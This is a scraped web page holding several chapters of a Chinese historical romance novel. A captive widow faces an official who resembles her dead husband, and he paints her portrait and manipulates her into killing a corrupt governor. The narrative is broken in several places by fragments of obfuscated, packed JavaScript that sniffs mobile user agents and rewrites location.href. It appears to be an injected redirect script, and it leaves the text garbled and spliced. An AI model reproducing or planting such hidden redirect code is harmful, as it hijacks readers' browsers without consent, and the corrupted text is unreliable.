院中除了疯长的野草,还有一口枯井和一棵枯树。那是棵梅花树,枝桠上还挂着未化完的雪,碎红乱雪铺在地上,和着湿黏的污泥,看着有些荒凉。 风雨吹得枝桠乱颤,雪簌簌地掉。 脸上也飘来不少雨丝,掺进脖颈里,凉津津的。徐宜冷得缩了缩脖子,却不肯往屋里走,她又将纸窗户拉得开了些,近乎执拗地看着那棵梅花树。 梅花过了仍风雨,着意在春天不许。 不知怎么的,脑子里面浮现起了这句诗。还真挺应景的,司州的天气就是这样怪,明明到了春天,也过完了倒春寒,却仍是连日风雨。 她起初并不喜欢风雨。 在这样的风雨天气里,她要么带着驽马在逃难,要么饿着肚子在山中打猎,要么……就是在被人抛弃。 自她在槐里安定下来,才渐渐喜欢上风雨。先前在风雨中居无定所自然不好,可若是在风雨中有了一方依靠,那定然是极好的。 至于现在她也弄不清楚自己到底是喜欢,还是不喜欢。 身前人都不在了。 她只能通过相似的场景去怀念死去的人。原本最不喜欢风雨中的山洞,现在每每回想起来,洞中发亮的火堆、安静健全的驽马,都令她格外安心。起先并不喜欢风雪,可那次她因为风雪封山受伤了,言许没日没夜地守在自己身边,蹙眉责怪地看着她,她也会觉得很安心。 原来她也会被人重视、在乎。 回想起来自然幸福。可要是天晴了,她就会被硬生生地从那些熟悉的场景中给拽出来,像是鱼被刮下鱼鳞似的,浑身上下酸胀不已。 迎面来的风吹得徐宜清醒了些,手抚上窗户想要关紧,却看见不远处撑着一把十二折骨伞的年轻公子。他似乎是怀揣着雪白的画纸,才将伞往前倾,小心翼翼地保护那些画纸不被打湿。 是郁故行。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324636|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 走得再近些了,虽隔着雨雾,眉目还是愈发清晰。他今日穿的不再是青灰色,而是一件丝质的银色衣裳,垂摆处绣着不少流水纹路,一经牵动便显现出来。 雨骤然变大,像是碎石子似的,打在瓦砾上传来巨大的响声。 屋外的人也受了影响,伞被打得东倒西偏,郁故行敛了眉目,步伐愈来愈快,而方向……似乎正是她所在这间屋子。 “啪——”纸窗户骤然被合上,声响消散在雨声中。 徐宜有些无所适从。这几天除了昏睡就是发呆,清醒的时间都是少数。但此刻她觉得没有比现在更清醒的时候了。 ……他来这做什么? 不一会儿,木门就被扣响了。敲门声在雨声中显得有些沉闷,屋里的人不一定能听见,可屋外那人还是极有礼貌地敲了三下就不再继续了。「到底是有礼貌还是说你知道她醒着呢?」 心中正纠结着要不要开门,徐宜站在窗前没有出声。 她摸不透郁故行。这几天她除了吃就是睡,身上有伤是一方面原因,还有一方面原因是她在等死。清和郡守作恶多端,他的死对于清和百姓来说自然是皆大欢喜,可京中的权贵不会这样想,曹闵一死,清和郡与京中的利益链也就此断了,权贵们定然炸开了锅,迫切地需要新上任的郁长吏给他们一个交代。 她以为自己会被送往京中,成为那个交代。因此她才不加防范,也没有想逃出去。 可这么些天,他依旧毫无动静。 徐宜迈着小步子悄悄走到门前,试探性地俯身贴近木门,垂眸仔细地听着屋外的动静。 要死的人就是毫无忌惮。他若是直接推门而入,自己也就顶多被抓个偷听的现行,再不济就是被他给撞倒。 这些事现在对于她来说都只是无伤大雅的小事。 他要么自己推开木门进来,反正她是不会给他开门的。 这么大的雨,他就自己淋着回去罢。不过就一个长得相似了点的替身,不值得她为此劳心费神地勾心斗角,而且她就快要死了。 心一横,徐宜更加确定不开门了。 隔了好一会儿,雨势越来越大,像是有人故意站在屋顶泼水似的,天和地都是白茫茫的一片。就在徐宜站直身子,以为他已经走了的时候,门外突然传来一声极轻的叹息。 她立刻屏住呼吸。 敲门声在此刻又响起。 略微揉乱了头发,徐宜稍稍等了会儿,随后装作睡眼惺忪的样子开了门。 漫天的白色雨幕笼罩住世间万物,凉意侵袭而来,她打了个寒颤,再看见的就是一双满是歉意和笑意的眼睛,郁故行抱着画纸,道:“不好意思打扰徐娘子休息了。” 徐宜怔了下。 歉意和笑意又同时出现在那双熟悉的眼睛里了。她的夫君常常会这样,做错事情的时候便会笑弯着眼道歉,这样她便不好再责怪他。没想到她居然也能在这位郁长吏身上再次看到,他银色衣裳的下摆被打湿了,沾上些杂草尘灰,这与她在高堂上第一次见到的他相去甚远,显得有些狼狈。 她下意识地说:“先进来罢。”但她后知后觉反应过来这里原本就是他的地盘,她这个被关押的犯人竟是成了主人,敢用这样的口吻对他说话。 或许是因为自己已经没有活路,也或许是……他与言许给她的感觉太过相似了。 郁故行听见这句话才收了伞,眉目舒展得更开些,他缓步走了进来。 木门缓缓合上,徐宜退开几步,开口问道:“郁大人来做什么?” “其实也没什么事,出门之前我也没有想到会下这么大的雨。” 郁故行抚了抚身前的衣襟,极为自然地走到窗前的桌边坐下,摊开画纸,拿出画笔,一套动作行云流水,最后他才抬眸看向站在门口无所适从的女子,笑道:“在下想为你作一幅画。” 26. 天落雪 徐宜看着他的眼睛,微微怔了会。等反应过来的时候,那张沉黑梨木桌子上已经摆好了画笔和纸张,郁故行也已经绕到她身后,在书架边捣鼓着什么,接着瓷器叮啷碰撞的声音便传过来。 “你要为我作画?”她转身三两步就走到他身边,有些不可置信地问:“作什么画,风景画还是肖像画?不是你为什么要为我作画,你要送给我……” 还没问完,郁故行就拿着几个天青色的小碟径直从她面前走了过去,连一个眼神都没有留给她,他走到桌案前坐定,慢条斯理整理完墨碟之后才抬起一双笑眼,格外平静地说道:“为你作画,自然是肖像画。” “难不成,徐娘子你还是块石头?” “你……”徐宜有些懵,张口欲言几番,郁故行戏谑的声音又传了来,“依徐娘子这反应,看来在下是猜对了啊。” 话音一落,她倏然间抬头。 坐在窗前的年轻公子早已拿起画笔,正笑意盈盈地看着她,眼里带些期冀,看上去很是温良恭俭,银色衣裳却又显出几分贵气。天气实在算不上好,偌大的雨声几乎要盖过屋里的所有声音,感知觉被无限放大,混沌天光下,徐宜似乎只能瞧得见他。 她鬼使神差地走了过去,有些慢吞吞的。郁故行歪着头倚在窗前,倒也不恼,只直勾勾地看着她的脸,目光有若实质。 “愣着做什么,别看我了。”郁故行叹了口气,说道,“来帮我研研墨罢。” 或许是因着他的口吻太过于自然,徐宜想起了她死去的夫君,便又走了过去。从前在槐里的时候,她常常帮言许研墨。他的画技非常精湛,槐里的许多画师都不如他。 当初甚至有人说他是不媚俗的宫廷画师,作出的画灵动而不空泛。 这或许与他的过去有关,没准言家曾经将他送至宫中学习了相关的技艺。徐宜抓住这一丝可能性,就此事去问他,可他只摇摇头说自己不记得了。 “……我真不该让你研墨。”这道带着些无奈语气的声音响在面前,令她恍然间清醒过来。 因着不够专注,研出的墨汁七零八散,壁沿挂着些乌漆漆的碎墨,碟里的墨汁也洒了不少,甚而还沾到了手上。 若是依往常的倔脾气,徐宜定会示意面前的这位郁长吏看看自己绑着白布条的肩膀。 但现在她没有这个心情。她放下墨碟,退到一边,垂头看着地面和自己的脚尖,没有与他起争执。 可郁故行好像看透了她的想法,自顾自地说起来:“医者说你这肩只是受了牵扯,谈不上严重。更何况还修养了这么些天,如今连研墨都不行么?” 这番话听上去是嘲讽,却因着他的语气温和,又带着淡淡的指责,在淅沥的大雨中倒是多了几分缱绻的意味。 “三年了,你怎么变得这样狼狈了,连研墨都不会了……”恍惚间她又听到了这句话。 从前在槐里,她就不喜欢研墨。说起缘由,她认为这事太文雅、太细致了,还不如劈材来得轻易。她的夫君若是要作画,大部分时间都是由他自己来研墨的。只有她闲来无事、想起他的时候才会去帮帮他,当然还有言许为她作画的时候,她也会去帮他做些什么,不然会显得她没什么诚意。 他没去京中的时候,画还不那么值钱。可自从他成了太学生,画就千金难求了。即便如此他还是不常替司州的权贵作画,明明能赚那么多钱,他偏要拣着人来画。 每每错过许多报酬,徐宜就会痛心疾首地问:“为什么不画?那些可都是白花花的银子啊!”然后言许只是摇头失笑,说自己要给合眼缘的人画,不能只看重金银一类的东西。 徐宜:“……” 但她的这位夫君耳根子软,很好说话。司州的权贵人家上门来求,她若是出面劝说的话,言许定然会答应。可奇怪的是,若是她自己想要画,都不用求,言许自己就会主动提出为她作画,然后借此让她为他研墨、铺纸,几乎每个月他都会为她作画,而她嫌太多了便将那些画像偷偷卖了出去,还赚来不少的银子。 有次她的这桩买卖被言许给发现了。 他倒没有生气,至少从表面上看不出来,仍是好声好气地回答她的问题、为她做饭,与平常的他没什么区别,只是不再主动提出画她了。过了好些天,她才后知后觉意识到他是在生气,但她也不知道他到底在气什么,明明之前也卖过他的画作,也没见到过他这样。 后来她才知道意在笔先这个道理。一幅好的画作定然是倾注了画者全部的心力,他的夫君作画需要耗费大量的时间,也不能被旁人打扰,尤其是为她作画的时候,貌似是一个月才能完成。而她就这样轻松地卖了,不过好在言许没有生太久的气,在她认错了之后又想着为她作画。 可那已经是三年前的事情了。 窗外的雨渐渐小了,可是纸窗户全都被打湿,像是刚烧出的青瓷一般,一条条裂纹镌刻在上面。 “看来徐娘子研墨的技艺依旧没什么长进啊。”一道淡淡的声音传来。 心一紧,徐宜抬眼看向坐在窗前的那位来自京中的郁公子,却猝不及防地撞进了他的眼睛里。那双眼睛的确是漂亮,偶然的几束光线照进来,淡淡的琥珀色眸子像是藏了一壶酒,尤其醉人。 他说话时眼睛便会弯起,带着几分笑意。况且这番话也非常具有迷惑性,他是京中调遣来的长吏,按道理讲应该从未见过她,又怎么知道她之前研墨的技艺如何呢? 可……言许又不会唤她为徐娘子。 像,却又不像。 郁故行视若无人地拿了砚台开始研墨,他眼眉低垂,看上去沉静端方。墨香渐渐扩散到了鼻间,此时窗外的风透进来,桌案上的画纸又掀起一角,传来哗啦啦的声响。 许是屋里太暖和,徐宜才不习惯这阵凉风,身子不受控制地颤栗了下。 “罢了,你坐下吧。”郁故行起身关紧了窗户,雨声就更显得沉闷了。 他关完窗户之后就坐到桌案前,先是用镇尺压住翻飞的画纸,再将长长的银色垂摆卷起,最后竟是当真拿起了画笔,要给她作画。 见徐宜没有反应,他便挑眉看向她,眼里含着期许,但她似乎瞧见了一丝藏得格外隐蔽的势在必得。 “……你为什么要为我作画?”不得不承认,眼前的这位郁长吏比她夫君更会用他的那双眼睛。她不知不觉地就走到了他的面前坐下,试探性地问出这句话来。 即便郡守已经死了,可眼下这情况,她依旧只是他的犯人。 郁故行用画笔撑着下颌,没有理会这个问题,只专注地看着她,仿佛是在用目光临摹她,先是眼眉,再是鼻骨、嘴唇……他临摹得十分细致,直到徐宜的脸有些微微发红,他才停了下来。 接着,笔尖蘸墨浸到白色的宣纸上,晕成一道柔和的线条,他开始倾身为她作画。徐宜还想问些什么,但她还未问出口便瞧见了他蹙起眉目的模样,像是不容任何人拒绝他。 她不喜欢这样。 言许之前虽然经常为她作画,但每次都会先询问她的意见,若是她不愿,他便不会强求。可眼前的这位郁大人就很会强求,几乎都没有征求过她的意见,语气温和眼眉低垂的,看上去好像真的就处在一个低姿态里,可实际上他全都是装出来的。 徐宜皱了会眉又松开了。 随便罢。 既然他想画,那就画罢。反正对于她来说没什么损失,她暂时也逃不出去。况且她也想要知道,先前在清和郡告示栏贴出来的通缉令到底是不是他的手笔。虽然她之前说服过自 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“十日画一水,五日画一石,在下一日画你,怎么也不算久了罢。”郁故行没有理会她话语间的嘲讽,反倒是弯起眼睛笑说。 徐宜起身去看。 桌上的画纸已被大片笔墨覆盖。画上的女子穿着烟灰色的衣裳,描绘身形的曲线细腻而柔和。乌发只用一根银簪松松挽就,脸颊的线条也格外生动,这无不显示出画者的技艺精湛,大部分已经收尾,只剩她的脸还是个半成品。画上女子的脸没有眼睛,但也能一眼就看出画的是徐宜。 郁故行似乎在考虑最后一步的眼睛该怎么画,因此他说话时就直勾勾地盯着徐宜的那双眼睛看,说完之后又盯了好一阵子。迟迟未曾下笔,他仿佛并没有什么把握将眼睛给画好。 言许曾说,画者最讲求的是意在笔先。 每次要为徐宜作画的时候,言许都会默默准备许久,无论是五官的精细程度,还是光影明暗的变换,他都会注意到,平日里就会盯着她这个人看,不仅仅是看脸。他说,先要想到画什么,再仔细端详,才能下笔。可这位郁长吏,才见过她不过半月,就要草率地为她作画。 如今画不出来倒也是情有可原了。 先前他所画的通缉令又实在可疑。那明明就是言许的手笔。她之前虽卖过言许送与她的画像,却也不长那样,而且一经太学生谋反这事,司州的众人都异常排斥言许所作的画了,巴不得将其销毁。 心中涌出一个不可思议的想法,徐宜蹙眉轻摇头。郁故行与她只是素昧平生的陌生人,根本犯不着兜这么远的圈子,再扮作言许的性子和模样来……勾引她。 郁故行叹一口气,无奈地说:“徐娘子紧锁眉头,脸都皱成一团了,在下该怎么画?” 徐宜自知理亏,“哦”了一声便垂下眼睛安分地等他画完。 差不多半刻钟过去,郁故行没再动笔,只是攥着画纸的边沿发愣的时候,她才察觉到他已经画完了。 “给我看看罢?”徐宜试探性地问。 郁故行“嗯”了一声,搁下笔便将画卷放到了她的手上。 看到这幅画,徐宜怔了好久才回过神来。新添上的这双眼睛堪称点睛之笔,浅浅的琥珀色眸子让画中的女子面容漂亮精致,眉眼中也就多了几分戾气与肆意。脸颊边又添了几笔,显得肌肤光泽如玉。 若是画像当真倾注了画师的情感,那么这幅画所表达的情感就快溢了出来。 “郁长吏。” 徐宜喊出声,面前的公子霎时抬眼疑惑地看着她,这次她没有躲避,而是迎着他的眼神,一字一句地道: “我没有对你说罢,你的……面容、声音、伤口,甚至是画作,都与我死去的夫君一模一样、别无二致。” 27. 天落雪 “我没有对你说罢,你的……面容、声音、伤口,甚至是画作,都与我的夫君一模一样、别无二致。” 徐宜说完这一长段话,屋里便陷入好长一段时间的静默,仿佛随着黯淡的天光一起沉寂下来。这时外面的雨淅淅沥沥地又下了起来,并且有愈来愈大的架势。 她微微抬眼、小心翼翼地看着郁故行。 他闻言并没有多大的反应,只是微微蹙了会眉头,摆出一副沉默不语的模样,像是在等她沉不住气地说出一些话来。 就像方才那般。 但逼急了,兔子也是会跳墙的。郁故行轻笑一声,选择挑破这个局面:“徐娘子是说的哪一任夫君?” “还能有谁……” 徐宜刚想反驳就想起自己方才的确提到了“新”任夫君,她舔了舔唇,才接着道:“是言许,言家的三公子言许。” 郁故行却格外轻描淡写:“徐娘子是想要在下给你一个交代么?” 随后他又摇摇头说,“但很遗憾哪,我并不认识你的夫君。” 从刚才起,徐宜就一直在细致地观察郁故行。撒谎的人,眼神、语气、神色……都是骗不了人的,至少不能每项都顾及得上。 但眼前这人似乎就可以。她从他的脸上没有看出丝毫破绽,就连他的语气也足够冷静淡定。 徐宜垂下眸子,说了句“好罢”。 随后她攥紧了画纸,出神地看着画像上的‘她’。 倏然间青瓷碰撞的叮当声又响起来,徐宜抬眸去看。郁故行正慢条斯理地整理桌案,放好镇尺、砚台之后,他才将蘸着黑墨的画笔放入笔洗中搅和,笔洗中的清水立刻就染黑了。 “那是份……见面礼。” 郁故行似乎是在斟酌着用词,因此语速不是很快,语气还能听得出来有些生疏和慎重。 她知道他是在说这幅画像。手因此攥得更紧了些,徐宜抓住他身上的这一丝细小的纰漏,不甘心地问:“郁长吏的画技这样好,不知师从的谁?” 郁故行皱了下眉却又很快松开,安安分分地答:“少时跟着宫廷画师,可没学多久就不了了之,搁置了许多年。如今便也是闲来无事才会想着拿起画笔来作画。” 宫廷画师。她就知道他这样的笔触定然是受过宫廷画师的指导。 于是她开始乘胜追击:“教你的哪位宫廷画师是谁?” “似乎是……姓叶。”郁故行迟疑了下才答上来。 “你手上的伤口是怎么回事?”瞧他这般温顺回应,徐宜就更加得寸进尺了。 “少时家中出了些事情,入廷尉府受了些刑罚。”郁故行的神色变了变,又道:“我也不记不清楚了,是很久远的事情了。” 他在骗人。 家中发生变故,甚至是牵扯到了孩童少年的程度,即便年纪再小,他也不至于记不清楚。除非是他不愿意透露。 这些都对应得上。言许身上的伤口能看得出来是他少时所受的伤。 “郁长吏……可还记得你在京中任职的事?” “都是朝廷里的那些琐碎事儿,日复一日,年复一年的,无趣得很。” 又是滴水不漏了。 徐宜想再问:“那……” 郁故行笑着打断了她的话,“徐娘子,到底谁是谁的犯人?” “我……” “郡守死了,可我没打算放过你。好好休整三日罢。”他留下这句话就走了,留徐宜一人在原地怔忡。 * 三日后,长吏府挂起了白绸,一片哀乐。长街上倒是人满为患,敲锣打鼓的喧哗声几乎要刺破云霄。 郡守曹闵死了。 徐宜好不容易从后院出来就闻到一阵刺鼻的纸灰味。今个儿一大早郁故行就派人送来衣裳、为她梳妆打扮。 她不知道他安的什么心,但能肯定的是他安的不是什么好心。 入目皆是白绸,连老树上也挂了不少。 这阵势倒是气派。 她误打误撞走到了长吏府的正堂前。 那里似乎已经变成了曹闵的灵堂,只看见灰色的纸絮漫天地飞。灵堂前跪着一个年轻的公子,身形清瘦,穿着白色的丧衣,微微躬身极其虔诚地为其点香、烧纸。 “呀,嫌疑犯来了。”有人说了这么一句。 她转身就看见了张渠。 张渠从她身后走过来,看见她疑惑的神情,便道:“郁长吏迟迟不杀你的缘故,徐娘子还不知道罢。” 徐宜不语。 “你以为清和的郡守能这么简单地死?”张渠叹声气,继续道:“总得需要个理由罢。那徐娘子你觉得,郁长吏所给出的理由会是什么呢。” 不等徐宜反应,说完他便悠然地往灵堂里走。 灵堂里的那位跪着的公子似乎察觉到这边的动静,他站起身来再拜了拜灵台,就转身跨门槛走了出来。 看见他脸的一瞬,徐宜睁大了眼睛。 那人不是谁,正是三日未曾见到的……郁长吏。 她虽然不知道郡守是怎么死的,但能够肯定的是郡守是被郁故行给杀死的。 而就在刚刚,他还在跪在曹闵的灵堂上,为他虔诚地上香。 郁故行也看见了她,清黑的眸子里没什么情绪,与那日的他截然相反。他抚平衣裳的褶皱后,再附耳向张渠说了些什么就径直朝她这个方向走来。 徐宜刚想转身就被他给喊住了。 “看来徐娘子近来恢复得很不错。”他笑着说,一下子就拉低了姿态,这道口吻温温和和的,仿佛他是与她要好的友人。 ——郡守不可能那么轻易地就死了。那你觉得郁长吏给出的理由是什么呢? ——郡守死了,我可没打算放过你。 想起这些话,徐宜心有余悸地抬眼看了看郁故行,胡乱地“嗯”了声。 “你随我来。” 不待她应下,郁故行就向前走了。徐宜只好跟上。可他步子很快,她身体刚恢复,喘着气有些跟不上。 歇下的时候抬眼一看,正是去府邸正堂的方向,也是去曹闵灵堂的方向。 “……”好晦气啊。 徐宜掉头就想回去。 郁故行笑意吟吟:“这就走了?” 徐宜轻抬起眼皮,不温不热地看了他一眼。 “毕竟死者为大。”郁故行看向灵台。“徐娘子不进去看看么?” 我看个头。 是不是还要上几碟菜,再和他喝点小酒啊。 她忍。 面上不露,徐宜眨眨眼笑说:“那就请郁长吏帮我为他上几柱香,再烧几张纸罢。” “哦对了,郁长吏记得要跪久些,这样显得虔诚些,曹大人才能泉下有知哪。”她的语气格外上扬。 “在下的意思是……”郁故行顿了一下,好整以暇地看着眼前笑着的女子。“徐娘子不进去确认一下他是否真的死了么?” 徐宜倏然抬眸,有些摸不清他到底想要做什么。 郁故行:“若是曹闵没死的话,你应该知道自己的后果。这位郡守大人最是风流,可生下来的孩子都有先天的缺陷,尽管如此他还是不死心,孩子还是在不断地出生……过了这么些年,都已经年过花甲,他才有了个勉强算得上正常的孩子。” 说至最后,他的语气格外的温和、冷淡。 “可徐娘子就这样将郡守公子给杀了,你觉得,曹闵会放过你么?” “你想说些什么。”徐宜微微蹙眉。 “曹闵没死。”郁故行一字一顿地说。“长吏府的白幡都是为你杀死的那位无辜的郡守公子而挂的。” 闻言徐宜略微睁大了眼。 原来之前是在故意骗她。 郁故行仍是温和地笑着,道:“因此在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他背对着她,也暴露了人最脆弱的后颈。 徐宜攥紧了刀柄,准备抽出刀刃迎上去。 方才一路走来并未碰见任何人,这个里屋更是隐蔽,若是在此处逃走,再合适不过了。 这样的思量其实就在一念之间。 利刃出鞘,徐宜就要刺向郁故行的后颈的时候,却被一双修长、有力的手止住了。 再抬眼一看,正与郁故行那双漆黑沉静的眼睛相对,他看了一会儿就弯起唇角温和笑说:“徐娘子是要杀掉我?” 平静的语气中还故意带着些委屈的意味,他还是用那样一张脸对她说这样的话。 郁故行却没有生气,反倒是对她循循善诱:“杀了他罢,他为祸多年,是清和百姓的祸害。不仅如此,他还纵容他的儿子害死了你‘新’夫君的妹妹。” “更何况,”见徐宜直直看着自己无动于衷的样子,郁故行又笑,语气微微上扬。“这位郡守大人不是对你死去的夫君做了很多过分的事情吗?” 死去的夫君。 徐宜愕然反应过来。 是啊,言许已经死掉三年了。 眼前的这位郁长吏只不过与他长的相似,其他的方面根本就不像。 可自己方才的确在一瞬间将他当作了言许。 只因为他的面容、声音和语气。 “郁长吏若是想让我替罪揽责,不必这般拐弯抹角。”徐宜说,“您杀和我杀,不都一样么?” “解释权总归是在你的身上。”她笑了笑。 “不一样。” 郁故行轻声说:“解释权究竟在谁的身上,是要看你的表现。” 28. 天落雪 里屋的光很暗,窗户也都紧闭着。 暗红的血溅上徐宜的眼睛时,曹闽怒目看着她,八角胡子翘起来、唇微微张开就要说些什么。 她便又加深了这一刀。 等到曹闽毫无声息的时候,她才松了手,缓缓拔出匕首来。 身上原本就已担了两条命,即便她杀了这位在京中颇有威望的郡守大人,左右不过一个死字。 这位郁长吏也只会秉公办事,顶多就是折磨她以谄媚那些曹闽在京中养的权势们,不过大难临头各自飞,或许那些人对曹闽的掌控早有不满。 杀了这位郡守,对她百利而无一害。 不过她想不清楚的是,郁故行为什么非要让她杀掉曹闽? 既然早就对民间宣布清和的郡守大人已经死了,那他明明可以暗中抹了曹闽的脖子,神不知鬼不觉地将他给解决掉。 为什么……要让她知晓这些事? “做得很好。”那熟悉的温柔嗓音又来了,只是在封闭的里屋中显得有些沉闷。 言许过去常常这样夸她。 尤其是在教习她读书、识字、作画的时候,无论她做得怎么样,他都会弯起眼睛说做得很好。 他也很会利用“做得很好”这句话来驱使她。往常在槐里,徐宜认为只有上山打猎才能赚来银子,读书识字一事她概不关心。 但即便她做得再差,言许还是会温和含笑地说一句做得很好,是他的教法不得当。 又在贬低自己,徐宜那时便反驳他,“不是你的问题,是我不愿学,你的教法没有问题,只是不适用于我……而且我对书画一事并没有兴趣。” 言许还没有去京中之前,曾是槐里最好的教书先生。 书画一事他最是在行。 他只是摇摇头,专注地看着她的眼睛,语气有些委屈、执拗。 “还是我教的不好。” 脸上一阵发热,徐宜甚至能听见自己的心跳声。 “徐娘子这刀法很不错。”郁故行看着曹闽身上的伤口,挑眉笑说,“是你死去的夫君教的么?” 这句话又将徐宜给拉了出来。 几乎是每次,她快要将他当作言许的时候,这位郁长吏便会适时地点醒她,随后告诉她自己并不是她死去的夫君。 究竟是他暴露了本性,还是故意为之? 明明是他有意无意地说出那些话、专门为她作画,不仅如此他还穿了那件青灰色的长裳…… 到最后却要打破徐宜的幻想。 徐宜默了好一会儿才重新张口问:“郁长吏方才说的看我表现是什么意思?” 郁故行笑了下:“徐娘子知道淮安王府吗?” 听了这句话徐宜猝然睁大了眼睛,脸有些发白,她语气有些不稳地问:“……你问这个做什么?” “你砍断王屠夫的手,再杀死了他,如此对待一个屠夫,”郁故行叹口气再说。“总不至于又是为了你那死去的夫君罢。” 看来他是将自己的身世和经历完完全全地调查了个遍。 前几日她在清和郡的街上看见过,淮安王招收马奴的消息。时隔四年,淮安王又豢养了大批的驽马。 徐宜张口欲言好几次,舔了舔唇说:“郁长吏想让我去……淮安王府做马奴。” 郁故行看见眼前女子那双漆黑明净的眼睛轻怔了会,随后又弯起唇角,似笑非笑,“徐娘子果然聪明。” “多久启程?”淮安王府在京中,离清和郡还是有些距离,她少时曾去过那里。 “或可今晚。” 徐宜:“我要去见见沈大娘。” “可在下怕你逃了。”郁故行故意笑了下,说出自己的顾虑。 “长吏府不是有那么多侍卫?”徐宜皱起眉,有些恼。“郁大人随便派些人监视我不就好了。” “那些人我都不放心。” 年轻公子舒展眉目,凑近了说:“不如由我亲自陪徐娘子去罢。” 徐宜:“……” 她迟疑了下才回应:“好吧,只是到时候郁大人别怪我。” “不会。”郁故行继续说,“徐娘子快些回去整理罢,我在长吏府门口等你。” 徐宜的手沾上了不少暗红的血,此时还微微颤着,就像秋日即将要枯死的蝶。她的唇色也微微泛白,没再去看郁故行,也没再回应,只是转过身一股脑地往屋外走。 她走的很慢。 站在她身后的公子眼眸微眯,一错不错地目送她的背影缓缓消失在庭院之中。 * 马车骨碌碌地驶过清和郡,到了进入槐里的山路上,车中略有些颠簸。 徐宜坐在马车的窗前,紧闭着眼,唇色依旧泛白。 淮安王府。 她在心中默念这四个字。 少时姨父姨母嫌弃驽马晦气、笨拙,便将她的那匹驽马卖给了言家,彼时恰逢淮安王府的人购买驽马,于是言家就将驽马拱手相送给了淮安王。 可淮安王大肆搜寻驽马不是为了饲养、利用它们,而是为了取乐。 永光三年,北方戎人侵扰许朝边境,北次山下的好些村民都沦为戎人的玩物,死伤惨重。 朝廷便派了淮安王前去征战。 可戎人到底习惯骑战,驽马是他们主要的坐骑,他们将许朝兵绕得团团转。不出意料的,淮安王吃了败仗。 此消息传入京中,天子震怒,淮安王作为败军之首领自然逃不过责罚。 自那时淮安王就对驽马深恶痛绝,他便在民间大肆搜刮、购买驽马,然后在淮安王府中慢慢折磨它们。 王府中就有专门的屠宰场。 徐宜养的那匹驽马就是在王府中被人剜去了双眼、砍断了马蹄。 若非她去得及时,驽马早就被剥皮削骨、拿去泄愤了。 她的驽马被卖时,她偷溜进了淮安王府,曾亲眼目睹驽马被杀死的惨状。 恍然间她又看见了那片血色。 “我们到了。”清透若水的声音响在头顶,徐宜倏然抬眸,正巧看见郁故行那双熟悉的温润眸子。 因着身子无力,徐宜下意识扶住他的手,缓缓撩开帘子,走了下去。 放眼望去,砚山一片新绿,阳光破开阴霾洒下来,汩汩的山泉水上面一闪一闪地跃着亮光。 山腰上伫立着一间孤零零的屋子。 言许死后的这三年里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈大娘初开始还在反抗,转过身来看见徐宜的面容就慢慢安静了,声音变得和缓:“你这丫头,拦我做什么。” “那言三到底有什么好?值得你念这么多年啊……” 徐宜没应。 蓦地感受到身上一阵温暖,原是大娘抱住了她,大娘苍老的声音又有些哽咽。 “活着就好,活着就好啊……” “三年前我就知道会有这么一天。”沈大娘抱了好一会儿才松开,她擦干脸上的泪水,定定地看着徐宜,哽咽道:“不过好在郡守死了,言不许现在回来了,要对他怎么样,都听你的。不要怕,大娘我来替你撑腰!” 徐宜轻声:“大娘……” “你这小子还不快过来道个歉!”沈大娘扭头又喊。 徐宜看向站在不远处的年轻公子,他闻言只是略挑了下眉头,一双眸子似笑非笑地看着她,随后开始慢悠悠地抚弄乱掉的前襟。 “……他不是言不许。” 徐宜清清嗓子,继续说,“他是清和郡新来的长吏大人。” “可他他他他他……”沈大娘扭头再仔细看了几眼,仍是不信。 “可他分明跟你那死去的夫君长得一模一样哪——” 29. 天落雪 对沈大娘这番话,徐宜也很赞成。 郁故行的确与言三长得一模一样,不仅仅是面容、眉目,还有声音、画技、疤痕……这些都与言三身上的别无二致。 自长吏府上第一次见面,她就发现了。 她这三年在司州找的所有情郎,都没有这位郁长吏替代得更完美。 有时她真的怀疑,郁故行就是失了记忆的言许。 ——毕竟,她的夫君就不曾记得他的过去。 “小宜,你别替言三开脱了!”沈大娘的语调软下来,对她说,“这小子让你等了这么久,今日必须得让他知道薄情寡义的后果!” “大娘我就是你的娘家人!我来替你撑腰!”话罢她捡起地上的扫帚就要往郁故行打去,颇有“拿命来”的架势。 徐宜连忙揽住她的臂膀,连声说:“大娘您先听我说,他真的不是言三,言不许三年前就已经死了,他的坟堆都还在后山啊……” “当真?”沈大娘狐疑。 徐宜恳切地点头:“千真万确。” 沈大娘面无表情:“不信。” 看了眼站在不远处的郁故行,她甩开徐宜的手,胳肢窝又挟住那把扫帚,挽起袖子准备向前奔去。 沈大娘轻觑一眼徐宜:“我还不知道你这丫头的脾性。” “定然是怕我知道了要打你的这位好夫君。”她边走边说,“小宜啊,这皮肉伤是最轻的,他走了这三年,是真该打!不然不长记性。” “大娘——”徐宜拖长了语调,继续说,“他真的不是,前几日清和的郡守和老长吏不是死了吗,他就是新来的长吏大人,叫郁故行……” 在拦沈大娘的间隙中,她倏然之间看到了郁故行的那双含着笑意的眼睛。 她这样狼狈,而他却悠然笑着。 ——郁故行似乎并不急于证明自己的身份。 许朝派遣到各州郡的官员身上都会佩戴令牌,令牌上写明了他们的姓氏、身份以及职位。 律法有言,官员外出都必须带上。以防在外出现意外辨不得身份。 郁故行身上定然就带着那块令牌,可他却不疾不徐地站在原处,根本没有拿出令牌的意思,含着笑的眼睛里半是嘲弄半是冷漠,仿佛在看戏一般。 她带他来,原本就是为了试探他。 